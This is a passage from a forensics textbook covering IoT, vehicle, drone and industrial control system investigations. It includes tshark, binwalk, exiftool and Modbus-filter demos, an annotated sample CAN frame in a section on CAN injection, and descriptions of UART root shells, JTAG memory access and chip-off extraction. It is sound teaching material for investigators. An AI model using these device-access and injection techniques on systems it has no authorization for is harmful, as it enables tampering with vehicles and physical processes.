    - **Signs of Compromise:** Look for connections to known malicious IP addresses, unusual transfers of data out of the device, or signs that the device is part of a botnet's command and control (C2) network.
- **Common IoT Protocols:** Besides standard web traffic, look for lightweight protocols designed for devices with limited resources. *MQTT (Message Queuing Telemetry Transport)* and *CoAP (Constrained Application Protocol)* are common. Capturing this traffic can show device status messages, commands being sent, and user actions.

Practical Demo: Investigate MQTT with TShark, An investigator can use 'tshark', the command-line version of Wireshark, to specifically isolate and view MQTT traffic from a device.

```
# tshark -i eth0 -Y "mqtt" -V -c 10
```

This command captures 10 packets on the network interface named ‘eth0‘. It filters for MQTT traffic (‘-Y ”mqtt”‘) and shows the packets in full detail (‘-V‘). This could show MQTT ”topics” and ”payloads,” which reveal exactly what information the device is reporting.

17.3.2 Logical Acquisition

- **Interacting with Companion Apps:** The mobile phone app used to control an IoT device is a very rich source of evidence. A standard mobile forensic examination of the paired smartphone can find cached data, account information, device identifiers (like MAC addresses), usage logs, and historical settings.
- **Accessing Cloud Service Data:** Often, the most valuable data is on the manufacturer's servers. For example, a smart doorbell's video clips or a smart thermostat's temperature history are stored in the cloud. Accessing this data requires official permission, like a search warrant or subpoena, given to the service provider. This data provides an official record of device activity, often with exact timestamps.

17.3.3 Physical Acquisition Methods

When network and logical methods do not provide enough information, an investigator must interact with the device physically. This is the most difficult and risky part of the investigation.

- **Using Debug and Test Interfaces:**
  - **UART:** Finding the UART pins on a device's Printed Circuit Board (PCB) and connecting a special adapter can give an investigator access to the system's serial console. The console often shows the entire startup process, which can reveal kernel versions, memory layout, and loaded drivers. On insecure devices, it may even give the user full control (a root shell) without needing a password.
  - **JTAG:** This is the most powerful method, giving complete control over the device's hardware. By connecting to the JTAG port, an investigator can use a hardware debugger to stop the processor, bypass security, and directly read and write to memory. This allows for a complete copy of RAM or a full image of the flash storage chip. The main challenge is finding the JTAG pin locations, which are usually not labeled [89].
- **Direct Memory Chip Extraction (Chip-Off):** For the most secure devices or when JTAG is turned off, the last option is *chip-off forensics*. This is a destructive process that involves physically removing the non-volatile memory chip (usually a NAND flash chip in a BGA package) from the circuit board. The chip is then read by a special device. This method

guarantees a perfect bit-for-bit copy of the data but has a high risk of destroying the chip.

The chip-off process is very careful and requires special equipment [161].

(1) **Documentation:** The circuit board, chip location, and chip direction are photographed in great detail. A single mistake can make the data unreadable.

(2) **Isolation:** The parts around the chip are protected with heat-resistant tape (e.g., Kapton tape).

(3) **Desoldering:** A hot-air tool is used to carefully heat and remove the memory chip from the board.

(4) **Cleaning:** The chip's metal contacts must be carefully cleaned of any remaining solder and glue. For some chips, this may involve a process called *reballing* to remake the tiny solder ball connections.

(5) **Reading:** The cleaned chip is placed into a special tool that can read the chip and connects to a forensic computer.

(6) **Imaging:** An exact copy (a raw binary image) of all the data on the chip is created. This image can now be analyzed with standard forensic tools.

17.4 IoT Evidence Analysis Techniques

Once an image from a memory chip or a firmware file has been acquired, the analysis can begin.

17.4.1 Firmware Analysis

The device's *firmware* is its main software. Analyzing it can show exactly what the device does and what weaknesses it might have.

- **Obtaining Firmware:** Firmware can be acquired in several ways. You can download it from the manufacturer's support website, capture it during an *over-the-air (OTA)* update (an update sent wirelessly to the device), or extract it from the memory chip using physical methods.
- **Deconstructing Firmware Images:** The goal is to open the firmware file to access its contents. The most powerful tool for this is 'binwalk'. This tool scans a file to find the signatures of other files and filesystems hidden inside it [100].

Practical Demo: Analyze a firmware with 'binwalk', A typical 'binwalk' command to automatically analyze and extract a firmware file would be:

```
# binwalk -e firmware_image.bin
```

This command (‘-e‘ for extract) will scan ‘firmware_image.bin‘. If it finds a known filesystem like SquashFS or CramFS, it will automatically decompress and extract it into a new directory for analysis.

- **Analyzing Extracted Contents:** Inside the extracted filesystem, an investigator should search for key items:
  - Hardcoded credentials, which are usernames, passwords, or API keys written directly into the software.
  - Private SSL certificates and keys.
  - Configuration files (‘.conf‘, ‘.xml‘) that control how the device behaves.
  - Web server root directories that contain HTML and script files.
  - Shell scripts that automate tasks and show the servers the device communicates with.

17.4.2 Filesystem and Memory Dump Analysis

- **Mounting Embedded File Systems:** Once extracted, uncommon filesystems like SquashFS can be *mounted* in a read-only mode on a Linux forensic computer. Mounting allows the investigator to browse the full directory structure just as it was on the device.
- **String and Data Carving:** For a raw memory dump (from RAM or a chip-off), there may not be a formal filesystem structure. In this case, running the ‘strings‘ utility is a simple but effective way to find human-readable text. More advanced *file carving* tools like ‘photorec‘ or ‘foremost‘ can scan the raw image for file signatures (headers) and extract pieces of data, such as Wi-Fi network names, passwords, IP addresses, URLs, and user account information.

17.5 ICS & Operational Technology Investigations

While IoT forensics is complex, investigations in OT environments add a very important responsibility: physical safety.

17.5.1 The IT vs. OT Divide

The goals of Information Technology (IT) and Operational Technology (OT) are very different. It is critical for an investigator to understand this difference.

- **IT (Information Technology):** The main goals are Confidentiality, Integrity, and Availability (the "CIA Triad"). Protecting data is the most important thing. Planned shutdowns for updates and maintenance are normal.
- **OT (Operational Technology):** The goals are in a different order. The focus is on Availability and Integrity, with Confidentiality being much less important. The goal is to keep the physical process running safely and without stopping. The priorities are often called "AIC" (Availability, Integrity, Confidentiality). Unexpected shutdowns can have terrible results, such as production loss, environmental damage, or even loss of life [194].

17.5.2 Safety-First Forensic Mindset

The most important rule in an OT investigation is: **Do no harm**. An investigator's actions must never make the physical process unstable or stop it. This requires a completely different approach.

- Never connect unauthorized equipment (like laptops or USB drives) to a live OT network.
- Never perform active network scanning or security tests without clear permission and direct supervision from plant engineers. An aggressive port scan might be seen by a sensitive controller as a real command, causing it to shut down or behave incorrectly.
- Always work closely with the plant operators and engineers. They are the experts on the system and must be part of every step of the investigation.

17.5.3 Evidence Sources in OT Environments

In an OT incident, evidence is found on specialized devices.

- **Human-Machine Interfaces (HMIs):** These are the screens and panels that operators use to watch and control the process. HMIs are a critical source for alarm logs, event logs, and user login records. Their screen data can show what the operator was seeing, which is very important if an attacker is trying to send false data to hide their actions.
- **Programmable Logic Controllers (PLCs):** These are strong computers that work in real time to run control programs and directly operate machinery (for example, opening valves or starting motors). The main evidence on a PLC is its *logic file*, which is the program it runs. The central part of a PLC investigation often involves comparing the currently running logic to a trusted, good backup. Finding any change that was not approved is strong evidence of an attack [44].

- **The Stuxnet worm** is the most famous example. It was designed to physically destroy Iranian nuclear enrichment centrifuges by targeting Siemens S7 PLCs. The malware secretly changed the PLC logic to make the centrifuges spin at dangerous speeds. At the same time, it sent false, normal-looking data back to the HMI, completely tricking the plant operators while the machines were destroying themselves [124].
- **Engineering Workstations & Historians:**
  - **Workstations:** These are the Windows-based computers that engineers use to write and send logic files to PLCs. They are a common target for attackers trying to get into the OT network. A traditional forensic examination of these workstations is often a key part of an OT investigation.
  - **Historians:** These are central servers that collect and store huge amounts of process data over long periods (months or years). Historian data is very useful for understanding normal operations. This makes it possible to find small changes that might show a system has been compromised.

17.5.4 Analyzing Industrial Network Protocols

- **Characteristics of OT Protocols:** Many industrial protocols, such as Modbus, DNP3, and Profinet, were created many years ago. They were designed for private networks that were considered safe. They were built to be efficient and reliable, not secure. As a result, they often do not have basic security like authentication or encryption. Commands are sent in plain text and are assumed to be from a trusted source.
- **Forensic Analysis of Protocol Traffic:** When a network traffic capture (PCAP file) from an OT network is available, the analysis focuses on understanding what the attacker did. An investigator can filter the traffic to look for specific commands that would allow an attacker to control the physical process. Common targets are "write" commands that change an operational setting (a setpoint) or "stop" commands that shut down a process.

Practical Demo: Filter Modbus traffic, In a network capture with Modbus traffic, an investigator can use a Wireshark display filter to find potentially malicious write commands.

```
modbus.func_code == 6 || modbus.func_code == 16
```

This filter finds two key commands. Function code 6 ("Write Single Register") and function code 16 ("Write Multiple Registers") are how an attacker would change operational settings on a PLC, such as a pressure target or a motor speed [210]. A *register* is a location in the PLC's memory that stores a value. Finding these commands from an unknown source is clear evidence of an attack.

Conclusion

In this chapter, we learned three key lessons. First, IoT evidence is often spread across the device, a mobile app, and cloud services. Second, acquiring data from embedded hardware requires special physical techniques. Third, in industrial OT environments, physical safety is the most important priority. These skills allow an investigator to trace an attack from the digital world to its physical impact, which is essential for handling modern cyber-physical cases. In the next chapter, we will build on this knowledge by analyzing the specific malware and attack tools used against these systems.

Acronyms and Terminology

AIC Triad Availability, Integrity, Confidentiality: The security priority model for OT environments, where keeping the system running safely (Availability) is the most critical goal.

binwalk A specialized tool used to scan a file, such as a firmware image, to identify and extract any hidden filesystems or data contained within it.

C2 Command and Control: Refers to the servers an attacker uses to remotely manage and send instructions to a network of compromised devices (a botnet).

Chip-off forensics An advanced, physical acquisition method where a memory chip is desoldered from a circuit board to be read directly with a specialized device. It is often a last resort.

CIA Triad Confidentiality, Integrity, Availability: The traditional security model for Information Technology (IT), where protecting the secrecy of data (Confidentiality) is the primary goal.

CoAP Constrained Application Protocol: A lightweight network protocol designed for communication between simple, resource-limited IoT devices.

Deterministic A quality of a system, particularly a Real-Time Operating System (RTOS), that guarantees a specific task will finish within a predictable and fixed amount of time.

EEPROM Electrically Erasable Programmable Read-Only Memory: A type of non-volatile memory used for storing small, persistent pieces of data like device configuration settings or serial numbers.

Embedded System A computer system combining hardware and software designed for a single, specific function within a larger electrical or mechanical system.

File Carving The process of recovering files from a raw data image by searching for known file headers and footers, used when a filesystem is not present or is corrupted.

Firmware The core software that is programmed onto a device's hardware, controlling its functions and operations.

Flash Memory (NAND/NOR) The most common form of non-volatile storage in embedded devices, used to hold the operating system, applications, and user data.

Forensic Sandbox An isolated network environment where an investigator can safely power on a device to capture and analyze its network traffic without contaminating other systems.

HMI Human-Machine Interface: The screen or console an operator uses to monitor and interact with an industrial control system. It is a key source for logs and user activity.

Historians Large-scale database servers in an OT environment that collect and store process data over long periods, providing a baseline for normal operations.

I2C Inter-Integrated Circuit: A communication protocol used for chips to communicate with each other over short distances on the same circuit board.

ICS Industrial Control Systems: The collection of hardware and software that monitors and controls physical processes in industries like manufacturing, energy, and water distribution.

IoT Internet of Things: A broad term for consumer or enterprise devices connected to a network that are designed to collect and exchange data.

JTAG Joint Test Action Group: A hardware debugging interface that provides low-level control over a device's processor, allowing an investigator to stop its execution and read memory directly.

Live vs. Dead Analysis The fundamental forensic choice between analyzing a device while it is powered on (live) to capture volatile evidence like RAM, or powered off (dead) to perform a static examination of its storage.

Logic File The program or set of instructions that a Programmable Logic Controller (PLC) executes to control industrial machinery.

MCU Microcontroller: A simple computer on a single chip that integrates a processor, memory, and input/output peripherals, used in low-power devices.

MQTT Message Queuing Telemetry Transport: A lightweight publish-subscribe network protocol ideal for sending small data packets between IoT devices and servers.

Non-volatile memory Memory that retains its data even when power is removed. It is the primary target for recovering stored data.

OT Operational Technology: The technology used to directly monitor and control physical devices and processes, such as valves, motors, and sensors in an industrial plant.

OTA Over-the-air: A method for delivering firmware or software updates to a device wirelessly over a network connection.

PCAP file Packet Capture file: A standard file format for saving data traffic captured from a network. It can be analyzed with tools like Wireshark.

PCB Printed Circuit Board: The physical board inside a device where electronic components are mounted and interconnected.

PLC Programmable Logic Controller: A rugged industrial computer designed for real-time control of machinery and manufacturing processes.

Reballing The process of rebuilding the solder ball connections on a chip, often necessary after removing it from a circuit board during chip-off forensics.

Register In the context of a PLC, a memory location that holds a specific value, such as a setpoint or process variable, which an attacker might target.

RTOS Real-Time Operating System: A specialized OS that guarantees tasks are processed in a timely and predictable manner, essential for safety-critical systems.

Secure Boot A security mechanism that verifies the digital signature of software before allowing a device to start, preventing it from running unauthorized or modified code.

Serial Console A text-based interface used for low-level communication with a device, often providing diagnostic messages or administrative control.

SoC System on a Chip: An integrated circuit that combines all major components of a computer (CPU, GPU, memory, etc.) onto a single chip.

UART Universal Asynchronous Receiver-Transmitter: A hardware component and interface that provides access to a device's serial console.

Volatile RAM Random Access Memory: The device's working memory that stores data for active processes but is lost as soon as power is turned off.

Write-blocker A hardware tool that allows an investigator to read from a digital storage device while preventing any data from being written or altered on the evidence.

Chapter 18

Forensics for Cyber-Physical and Autonomous Systems

Introduction

In modern investigations, digital evidence is often found in systems that connect the digital world to the physical world, such as cars, drones, and factory equipment. An investigator must understand how to find evidence in these devices. This chapter explains the methods for investigating these Cyber-Physical Systems (CPS). We will cover how to collect evidence from vehicles, how to analyze a drone's flight path, and how to find signs of an attack in industrial control systems.

18.1 Principles of Cyber-Physical Investigation

Digital forensics is expanding beyond computers and mobile devices. It now includes systems where digital commands cause direct, physical results. This is the field of Cyber-Physical Systems (CPS). A CPS is a system with a close, ongoing link between computing, networking, and physical actions [181]. These systems use *sensors* to understand the physical world and *actuators* to make changes in it. An actuator is a component that moves or controls a mechanism. This process connects digital evidence directly to physical events. The main goal for an investigator is to use digital information to reconstruct and prove or disprove a sequence of physical actions.

This requires a combined investigative approach. An investigator cannot work only with digital evidence or only with physical evidence. To succeed, they must combine traditional crime scene investigation skills with digital forensic skills. These traditional skills include understanding physics, collecting physical

evidence, and analyzing damage. For example, a log file from a car's engine control unit has little meaning without the physical evidence from the car crash. In the same way, the wreckage of an advanced drone might be impossible to explain without its *flight telemetry data*. Telemetry data is information about the drone's location, speed, and status that is recorded during its flight.

A clear example of this principle is the investigation of the Germanwings Flight 9525 crash in 2015. Looking at the physical wreckage alone, it was almost impossible to find the cause of the crash. However, the aircraft's *flight data recorder*, which records flight information, and *cockpit voice recorder*, which records sound in the cockpit, provided the key digital evidence. These recorders are both simple and reliable Cyber-Physical Systems. Analysis of this data showed that the co-pilot had intentionally locked the captain out of the cockpit and flown the plane into a mountain. The digital information provided a clear story of the co-pilot's intent, which the physical evidence alone could not provide [26].

18.1.1 Key Forensic Artifacts in CPS

The exact types of evidence are different for each system, but most CPS investigations focus on several main categories of data. The main challenge is to collect and connect these different data sources to build a clear timeline of events.

- **Sensor Data:** These are logs from the system's sensors. This includes data from Global Positioning System (GPS) receivers, accelerometers, gyroscopes, *lidar* (which stands for Light Detection and Ranging and uses laser light to measure distance), radar, cameras, and temperature sensors.
- **Actuator Commands:** These are the records of commands sent to the system's moving parts (actuators). Examples include commands to a car's braking system, a drone's motors, or a robot's hydraulic arm.
- **Control Logic:** This is the software or firmware that controls how the system behaves. It uses sensor data and programmed instructions to make decisions. Examples include the *ladder logic* in a *Programmable Logic Controller (PLC)* in a factory, or the autopilot software in a UAS.
- **Network Traffic:** This includes logs of communication between the system's parts. An example is the *Controller Area Network (CAN) bus* in a car. It also includes communication with outside networks, like a drone sending data to a cloud server.
- **User Interaction Logs:** This is data created by a human user. Examples include button presses on a *Human-Machine Interface (HMI)*, which is a user's control panel, destinations typed into a car's navigation system, or commands sent from a remote controller.

18.2 Automotive and Vehicle Forensics

A modern car is not just a simple machine; it is a data center on wheels. It is a complex network of more than 100 small computers called *Electronic Control Units (ECUs)*. These ECUs monitor and manage everything from the engine to the air conditioning. For an investigator, the vehicle is a digital witness that records its own history. The main sources of useful forensic data are the *Event Data Recorder (EDR)*, the *Telematics Control Unit (TCU)*, and the infotainment system.

18.2.1 Acquiring Data from Event Data Recorders (EDRs)

The Event Data Recorder (EDR) is often called a vehicle's "black box." Its function is controlled by law in many places. For example, in the United States, a rule from the National Highway Traffic Safety Administration (NHTSA) requires EDRs to record specific types of data [156]. The EDR's purpose is to temporarily store data all the time. However, it only permanently saves a small amount of important data about the vehicle's movement from the seconds just before, during, and after a major crash. This data is saved to *non-volatile memory*, which is memory that keeps information even when the power is off. A major crash is usually one that causes the airbags to deploy.

Typical data points recorded by an EDR include:

- Vehicle speed
- Engine throttle position (accelerator pedal input)
- Brake application (on/off)
- Steering wheel angle
- Seatbelt status for driver and passengers
- Airbag deployment timing and which airbags deployed
- Change in velocity (*Delta-V*), which measures the force of the impact

Special hardware and software is needed to get data from an EDR. The most common tool is the Bosch Crash Data Retrieval (CDR) Tool [20]. An investigator connects the CDR tool to the vehicle's *On-Board Diagnostics (OBD-II) port*. This is a standard port used to access information from the vehicle's computer systems. If the port is damaged or the car has no power, the investigator can get the data directly from the EDR module. To do this, they remove the *Airbag Control Module (ACM)*, which is the computer that controls the airbags and usually contains the EDR. Then, they connect the tool directly to the module's electronic pins.

The EDR report can be very important in an investigation. For example, imagine a driver claims their brakes failed, which caused a crash. The EDR report might show that in the five seconds before the crash, the brake pedal

was not pressed at all, and the accelerator pedal was pressed down 100%. This digital evidence completely changes the investigation. The focus moves from a possible machine failure to a possible driver mistake or even a deliberate act.

18.2.2 Infotainment and Telematics System Analysis

While the EDR gives a snapshot of a crash, the infotainment and telematics systems provide a detailed history of the vehicle and driver. These systems are complete computers that run operating systems like QNX, Linux, or Android Automotive. They are a rich source of data about user activity.

Key types of evidence that can be recovered from infotainment systems include:

- **Navigation History:** Past destinations, saved locations, and detailed *tracklogs*. A tracklog is a file that records the path of the vehicle.
- **Connected Devices:** Records of all mobile phones connected using Bluetooth or Wi-Fi. This includes device names, MAC addresses, and sometimes unique phone identifiers like the *IMSI* (International Mobile Subscriber Identity).
- **Communications:** Call logs, contact lists, and SMS messages that were synced from a connected phone.
- **Events:** Logs of when doors were opened or closed, when lights were turned on or off, or when specific USB devices were connected.

Telematics data is similar, but it is sent by the vehicle's Telematics Control Unit (TCU) to the car maker's servers. An investigator usually needs a legal document, like a search warrant, to get this data. It can provide a GPS history of the vehicle's location for every second, as well as records of remote start commands and other events.

Getting data from these complex systems can be difficult. Some data can be collected through software. However, many systems require advanced methods. These include *JTAG (Joint Test Action Group)*, a method for testing and accessing computer chips, or *chip-off forensics*. In chip-off forensics, the memory chip is taken off the circuit board so its contents can be read directly. Special tools like the Berla iVe toolkit are made to collect and organize data from thousands of different vehicle models. These tools change the raw computer data into a format that people can read [17].

18.2.3 Sniffing and Analyzing CAN Bus Data

The Controller Area Network (CAN) bus acts like the central nervous system of a modern car. It is a reliable system for sending messages that allows all the ECUs to communicate with each other directly, without a main computer [225]. Each message sent on the bus is called a "frame." A frame mainly consists of two parts: an *Arbitration ID* and a *data payload*. The Arbitration ID identifies

the type of message (for example, "Engine RPM"). The data payload contains the actual data for that message.

Most vehicles do not save old CAN messages. However, an investigator can record current data by connecting a tool to the OBD-II port. This is useful for finding problems or identifying harmful activity.

Practical Demo: "CAN injection" attack, An example of harmful activity is a "CAN injection" attack. This is where an attacker sends fake messages, also called *spoofed messages*, onto the bus. These fake messages can change how the vehicle's physical systems work.

```
# Example CAN frame: 1A2#8811223344556677
#
# Arbitration ID: 0x1A2
# (This ID number might represent the Engine Control Module)
#
# Data Bytes: 88 11 22 33 44 55 66 77
# (This is the actual data, like engine speed or temperature)
```

The raw data payload has no meaning by itself. An investigator needs a special database file, called a *DBC file*, for that exact vehicle model. This file is needed to translate the raw data into values people can understand (for example, "Engine RPM: 2,500"). The DBC file works like a dictionary that explains how to decode the CAN messages.

18.3 Drone Forensics

Drones, also known as Unmanned Aerial Systems (UAS), are now very common. They are used for many things, from making movies to smuggling illegal items into prisons. Investigating drone incidents requires looking at the whole system, because evidence is often spread across many different parts [176]. For a full investigation, an investigator must try to collect all four main components:

(1) The **UAS airframe** itself, which contains onboard storage (internal memory or an SD card).

(2) The **ground controller** used by the operator.

(3) The **operator's mobile device or PC**, which often runs a control application.

(4) The operator's associated **cloud accounts** (e.g., DJI, Autel), which may contain synced flight logs and media.

18.3.1 Analyzing Onboard and Controller Storage

The clearest sources of evidence are the storage devices on the drone itself. This is usually an SD card in the *camera gimbal* (the mount that holds and sta-

bilizes the camera) or the drone's internal flash memory. This storage contains high-resolution photos and videos. The photo and video files often contain a lot of *metadata*, which is data that describes other data.

Practical Demo: ExifTool Metadata, Using a tool like ExifTool, an investigator can pull out *Exchangeable Image File Format (EXIF) data*. EXIF is a type of metadata that can show the exact time and location a photo was taken.

```
$ exiftool -gpslatitude -gpslongitude -gpstimestamp -datetimeoriginal IMG_0123.JPG
GPS Latitude                    : 40 deg 44' 54.33" N
GPS Longitude                   : 73 deg 59' 9.11" W
GPS Time Stamp                  : 18:30:05
Date/Time Original              : 2025:07:04 14:30:05
```

As the example shows, this command reveals the exact GPS coordinates and time a photo was taken. This information can be used to prove a drone was at a specific place, such as over a secure area or at a crime scene [99]. The ground controller is also a valuable source of evidence. It often saves low-resolution video, known as *First-Person View (FPV)* video. It can also store flight telemetry and information about the operator's account.

18.3.2 Parsing and Visualizing Flight Logs

The most complete record of a drone's flight is its flight log. These logs are stored in special formats owned by the manufacturer (for example, DJI's .DAT files or ArduPilot's .BIN files). They are a very detailed stream of data about the flight, often recording information many times each second. Important data includes:

- High-frequency GPS coordinates (latitude, longitude)
- Altitude (from barometric and GPS sensors)
- Attitude (the drone's orientation, including its tilt forward/backward, side-to-side, and its rotation)
- Ground speed and vertical speed
- Battery voltage and current draw
- Operator stick inputs (e.g., throttle up, yaw left)

Special tools, both free (open-source) and paid (commercial), are used to process these logs. Tools like CsvView, DatCon, and Airdata UAV can change the logs into formats that are easy to read. The main goal is to rebuild the drone's exact flight path [48].

Steps to Reconstruct a Drone's Flight Path The process of changing a raw log file into a 3D visual model follows these steps:

(1) **Load:** The raw flight log file (for example, 'FLIGHT001.DAT') is opened in a special tool.

(2) **Filter:** The analyst chooses the important data streams to look at, such as 'GPS_LAT', 'GPS_LON', and 'BAROMETER_ALT'.

(3) **Decode:** The tool changes the binary or special data formats into standard, readable formats. For example, it converts raw sensor numbers into decimal degrees for latitude and longitude, and meters for altitude.

(4) **Combine:** The tool uses timestamps to match up all the different data streams. This creates one complete record for each moment of the flight.

(5) **Export & Visualize:** The combined data is saved as a standard location-based file, such as a KML or GPX file. This file can be opened in a program like Google Earth. This will show the exact 3D flight path on top of satellite images, visually revealing the launch point, hover locations, and the full flight path.

18.4 ICS and SCADA Forensics

Forensics in industrial settings is a difficult challenge with serious risks. These places use *Operational Technology (OT)*. Unlike Information Technology (IT), OT considers safety and continuous operation to be the most important goals. A security problem in an OT network can have disastrous physical results. Examples of these networks include power grids, water treatment plants, and chemical factories. The goal of *Industrial Control System (ICS) forensics* is usually to investigate an attack or a failure. The investigator tries to find the main cause and stop the problem from happening again [128].

Key sources of evidence in an ICS environment include:

- **PLCs/RTUs:** Data from the memory of *Programmable Logic Controllers (PLCs)* or *Remote Terminal Units (RTUs)*. An RTU is a device that connects equipment in the physical world to a control system. This memory contains the control logic (like ladder logic) that controls the physical process.
- **HMIs:** Logs from Human-Machine Interfaces can show operator actions, changes to system settings, and a history of alarms.
- **Historian Databases:** These are special databases that record sensor data and equipment status over long periods. They provide a valuable record of normal operations.

- **Network Traffic:** Captured network data of industrial protocols like Modbus, DNP3, or S7comm can show unauthorized commands or an attacker searching the network.

Real-World Story: The TRITON/TRISIS malware, A frightening real-world example is the TRITON/TRISIS malware, which was discovered in 2017. A forensic analysis was performed on a safety controller at a petrochemical plant in Saudi Arabia. The analysis found malware that was created specifically to turn off the plant's automatic safety systems. The investigation showed that the attackers were not just trying to shut down the plant. By disabling the safety systems, they clearly intended to cause physical destruction [60].

18.4.1 Analyzing PLC Memory

A central part of many ICS investigations is to discover if the control logic on a PLC was changed with bad intent. This process involves getting a copy of the memory (a "memory image") or the project file from the PLC. Doing this often requires special engineering software from the company that made the PLC, such as Rockwell's Studio 5000 or Siemens' TIA Portal.

The investigator then carefully compares the collected logic with a version that is known to be safe and correct, or with a previous backup. The investigator looks for small but very important changes, such as:

- Changes to the rungs of ladder logic that alter an industrial process.
- Modified setpoints that push equipment beyond its safe operating limits.
- Disabled alarm logic that would prevent operators from being notified of a dangerous condition.

This analysis is often a long and careful process. It requires both forensic skill and a deep understanding of industrial control engineering.

18.5 Forensic Challenges in CPS

As Cyber-Physical Systems become more complex and connected to each other, the challenges for forensics also change. Two main trends that affect investigations are the use of edge computing and the common use of Over-the-Air updates.

18.5.1 The Challenge of Edge and Distributed Computing

Edge computing is when data is processed locally on a CPS device, instead of sending all the raw data to a central server. For example, a smart traffic camera might perform object detection locally to identify and count vehicles, sending only the final count to the cloud, not the full video stream.

The main forensic challenge is that evidence becomes spread out and temporary. Important data about an event might be processed on the device itself and then quickly deleted. This can leave few, if any, permanent records for an investigator to find later. Investigation methods must change to handle this problem. Investigators need to focus on getting device configuration files. These files show how the device was set up to process data. They must also analyze summary logs or network information to figure out the device's past activities.

18.5.2 Analyzing Over-the-Air (OTA) Updates

Vehicles, drones, and other complex devices are using *Over-the-Air (OTA)* updates more and more. These updates, sent over a wireless network, are used to fix security problems and add new features. For a forensic investigator, the logs from these updates are a very important source of evidence.

Update logs create a clear timeline of the software on a device. These logs can be stored on the device or on the manufacturer's server. This timeline is very important in any investigation that involves a possible weakness in the software. For example, in a lawsuit about a car crash, OTA logs could prove if the car's software received an important safety update *before* or *after* the crash happened. These logs can also show evidence of harmful activity. This includes attempts to update the software without permission, or "rollback" attacks. A rollback attack is when an attacker forces a device to go back to an older software version that has known security problems.

18.6 Legal and Ethical Considerations

The special nature of CPS data creates difficult legal and ethical questions that investigators must understand and follow.

- **Data Ownership and Access:** Who owns the large amounts of data created by a modern vehicle or a smart home? Is it the person who owns the device, the company that made the hardware, or another service company? The answer is often hidden in long Terms of Service documents. These documents can greatly affect an investigator's ability to legally get the data, especially when the data is stored on a cloud server. Getting access often requires following correct legal steps and working with the manufacturers.
- **Admissibility and Expert Testimony:** It is a big challenge to present complex CPS data in a court. For example, how can someone explain the complex details of CAN bus data or PLC ladder logic to a jury? Forensic tools and methods must be proven to be reliable to meet legal standards for being allowed as evidence in court, such as the Daubert or Frye standards in the United States [33]. Also, the role of the *expert witness* becomes extremely important. An expert witness is a person with special knowledge who gives their opinion in court. The expert must be

able to do the technical analysis. They must also be able to explain their complex findings as a clear, simple, and believable story of physical events that the court can understand.

Conclusion

In this chapter, we learned how to find and analyze evidence from cars, drones, and industrial systems. You learned how to get crash data from a vehicle, reconstruct a drone's flight path, and check control logic for malicious changes. An investigator uses these skills to connect digital data directly to physical events, which is essential for solving complex cases. In the next chapter, we will learn how to document these findings and present them clearly in a forensic report.

Acronyms and Terminology

ACM Airbag Control Module: The computer in a vehicle that controls the deployment of airbags. It often contains the Event Data Recorder (EDR).

Actuator A component in a system that receives a digital command and causes a physical action, like moving a robotic arm or applying a brake.

Arbitration ID A part of a CAN bus message that identifies the type of data being sent (e.g., engine speed) and its priority on the network.

CAN bus Controller Area Network bus: The internal communication network in a vehicle that allows all the small computers (ECUs) to talk to each other.

CDR Tool Crash Data Retrieval Tool: Specialized hardware and software (like the Bosch CDR Tool) used to download crash data from a vehicle's EDR.

Chip-off Forensics An advanced forensic technique that involves physically removing a memory chip from a device's circuit board to directly read its stored data.

Cockpit Voice Recorder A device on an aircraft that records all sounds in the cockpit, including pilot conversations, used to investigate incidents.

CPS Cyber-Physical System: A system where computer-based algorithms control or monitor physical components, creating a tight link between the digital and physical worlds (e.g., a car, drone, or factory robot).

Data Payload The part of a network message (like on a CAN bus) that contains the actual data, such as a sensor reading or a command value.

DBC File A database file specific to a vehicle model that acts as a dictionary, used to translate raw CAN bus data into understandable information (e.g., converting '0x88' to '2500 RPM').

Delta-V Change in Velocity: A measurement used in crash analysis to describe the force of an impact by calculating how much the vehicle's speed changed.

ECU Electronic Control Unit: One of the many small computers inside a modern vehicle that controls a specific function, such as the engine, brakes, or air conditioning.

Edge Computing A data processing model where information is processed locally on a device (at the "edge" of the network) rather than being sent to a centralized cloud server.

EDR Event Data Recorder: A device in a vehicle, often called a "black box," that permanently saves key vehicle data from the few seconds before, during, and after a crash event.

EXIF Exchangeable Image File Format: A standard for embedding metadata (like GPS coordinates, date, and time) directly into image files.

Expert Witness A person with specialized knowledge or skills who is qualified to give their professional opinion as evidence in a court of law.

Flight Data Recorder A hardened device on an aircraft, also known as a "black box," that records flight parameters to help in accident investigations.

Flight Telemetry Data A stream of data recorded during a drone's flight, including its precise location, altitude, speed, orientation, and battery status.

FPV First-Person View: A real-time, low-resolution video stream sent from a drone's camera to the operator's controller, showing what the drone sees.

Gimbal A pivoted support that allows an object, like a drone's camera, to remain stable and level even as its mounting point moves.

GPX / KML Standard file formats for storing geographic data. They are used to create visual representations of routes or flight paths in mapping software like Google Earth.

HMI Human-Machine Interface: The screen or control panel that a person uses to interact with and control an industrial machine or system.

ICS Industrial Control System: The general term for the hardware and software used to automate and control industrial processes, such as in factories, power plants, or water treatment facilities.

IMSI International Mobile Subscriber Identity: A unique identification number associated with a mobile phone's SIM card, used to identify a user on a cellular network.

IT Information Technology: The broad field of using computers and networks to manage and process information, typically in an office or business context.

JTAG Joint Test Action Group: A technical standard for testing and debugging electronic circuit boards. In forensics, it's used as an interface to access a device's memory and firmware.

Ladder Logic A graphical programming language used to program PLCs in industrial environments. It resembles electrical relay logic diagrams.

Lidar Light Detection and Ranging: A sensor technology that uses pulsed laser beams to measure distances and create precise, three-dimensional maps of the surrounding environment.

Metadata Data that provides information about other data. For example, the metadata of a photo can include the date, time, and GPS location where it was taken.

NHTSA National Highway Traffic Safety Administration: A U.S. government agency that sets and enforces safety standards for motor vehicles.

Non-volatile Memory A type of computer memory that retains its data even when the power is turned off, such as an SSD or a flash memory chip.

OBD-II Port On-Board Diagnostics Port: A standardized connection port in most modern vehicles that allows access to data from the vehicle's various computer systems (ECUs).

OT Operational Technology: The technology used to directly monitor and control physical devices and industrial processes. The primary focus is on safety, reliability, and continuous operation.

OTA Over-the-Air: A method of delivering software updates wirelessly to devices like cars or drones, rather than requiring a physical connection.

PLC Programmable Logic Controller: A ruggedized industrial computer that is programmed to automate and control a specific manufacturing process or machine.

Rollback Attack A cyberattack where an attacker forces a device to uninstall a recent update and revert to an older, less secure version of its software in order to exploit a known vulnerability.

RTU Remote Terminal Unit: A microprocessor-controlled device used in an ICS to connect sensors and actuators in the physical world to a central supervisory system.

Sensor A device that detects and measures a physical property (like light, temperature, or acceleration) and converts it into a digital signal that a computer can read.

Spoofed Messages Fake or illegitimate messages sent on a communication network (like a CAN bus) to trick a system into performing an unintended or malicious action.

